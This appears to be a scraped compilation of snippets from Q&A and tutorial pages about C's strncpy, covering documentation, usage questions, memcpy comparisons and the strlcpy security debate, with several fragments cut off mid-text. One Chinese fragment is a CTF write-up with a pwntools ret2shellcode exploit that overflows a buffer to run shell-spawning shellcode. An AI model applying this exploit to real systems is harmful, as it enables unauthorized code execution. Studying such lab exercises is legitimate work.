This question already has answers here : strncpy documentation question (6 answers) Closed 2 years ago . I am reading this document, it says: char *strncpy(char *destination, const char *source, size_t num); Copy characters from string Copies the first num characters of source to destination . If the end of the source C string (which is signaled by a null-character) is found before num characters have been copied, destination is padded with zeros until a total of num characters have been written to it. No null-character is implicitly appended at the end of destination if source is longer than

Copying n chars with strncpy more efficiently in C

问题 I'm wondering if there's a cleaner and more efficient way of doing the following strncpy considering a max amount of chars. I feel like am overdoing it. int main(void) { char *string = "hello world foo!"; int max = 5; char *str = malloc (max + 1); if (str == NULL) return 1; if (string) { int len = strlen (string); if (len > max) { strncpy (str, string, max); str[max] = '\0'; } else { strncpy (str, string, len); str[len] = '\0'; } printf("%s\n", str); } return 0; } 回答1: I wouldn't use strncpy

format ’%s’ expects argument of type ’char *’

For exercising my programming skills in C I'm trying to write the strncpy function by myself. Doing that I kept hitting errors, solving most of them eventually I'm stuck with no further inspiration to go on. The error I receive is: ex2-1.c:29:3: warning: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘int’ [-Wformat=] printf("The copied string is: %s.\n", stringb); The thing is that it's a very common error and that it's also already described on SO, only I can't seem to apply the tips other people have already pointed out. I get that I'm using a wrong type when

C 库函数 - strncpy()

描述 C 库函数 char *strncpy(char *dest, const char *src, size_t n) 把 src 所指向的字符串复制到 dest ,最多复制 n 个字符。当 src 的长度小于 n 时,dest 的剩余部分将用空字节填充。 声明 下面是 strncpy() 函数的声明。 char *strncpy(char *dest, const char *src, size_t n) 参数 dest -- 指向用于存储复制内容的目标数组。 src -- 要复制的字符串。 n -- 要从源中复制的字符数。 返回值 该函数返回最终复制的字符串。 实例 下面的实例演示了 strncpy() 函数的用法。在这里,我们使用函数 memset() 来清除内存位置。 1 #include <stdio.h> 2 #include <string.h> 3 4 int main() 5 { 6 char src[40]; 7 char dest[12]; 8 9 memset(dest, '\0', sizeof(dest)); 10 strcpy(src, "This is runoob.com"); 11 strncpy(dest, src, 10); 12 13 printf("最终的目标字符串: %s\n", dest); 14 15 return(0); 16

1.运行程序,没有提供 system ,32位程序,基本未开保护 2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。 4.查看 esp 和 ebp 来计算覆盖长度 5.构造exp #!/usr/bin/env python from pwn import * #EBP: 0xffffd158 --> 0x0 #ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 sh = process('./ret2shellcode') buf_addr = 0x0804A080 payload = asm(shellcraft.sh()) #sh.recvuntil() length = 0x158 - 0xec + 4 sh.sendline(payload.ljust(length, 'a') + p32(buf_addr)) sh.interactive() 来源: https://www.cnblogs.com/Tsuiyields/p/11877354.html

What is the difference between memcpy() and strncpy() given the latter can easily be a substitute for the former?

问题 What is the significant difference between memcpy() and strncpy() ? I ask this because we can easily alter strncpy() to copy any type of data we want, not just characters, simply by casting the first two non- char* arguments to char* and altering the third argument as a multiple of the size of that non-char type. In the following program, I have successfully used that to copy part of an integer array into other, and it works as good as memcpy() . #include <stdio.h> #include <string.h> int

Why are strlcpy and strlcat considered insecure?

可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I understand that strlcpy and strlcat were designed as secure replacements for strncpy and strncat . However, some people are still of the opinion that they are insecure, and simply cause a different type of problem . Can someone give an example of how using strlcpy or strlcat (i.e. a function that always null terminates its strings) can lead to security problems? Ulrich Drepper and James Antill state this is true, but never provide examples or clarify this point. 回答1: Firstly, strlcpy has never been intended as a secure version of strncpy

(error) Dangerous usage of 'filename' (strncpy doesn't always null-terminate it). 回答1: I typically avoid using str*cpy() and str*cat() . You have to contend with boundary conditions, arcane API definitions, and unintended performance consequences. You can use snprintf() instead.
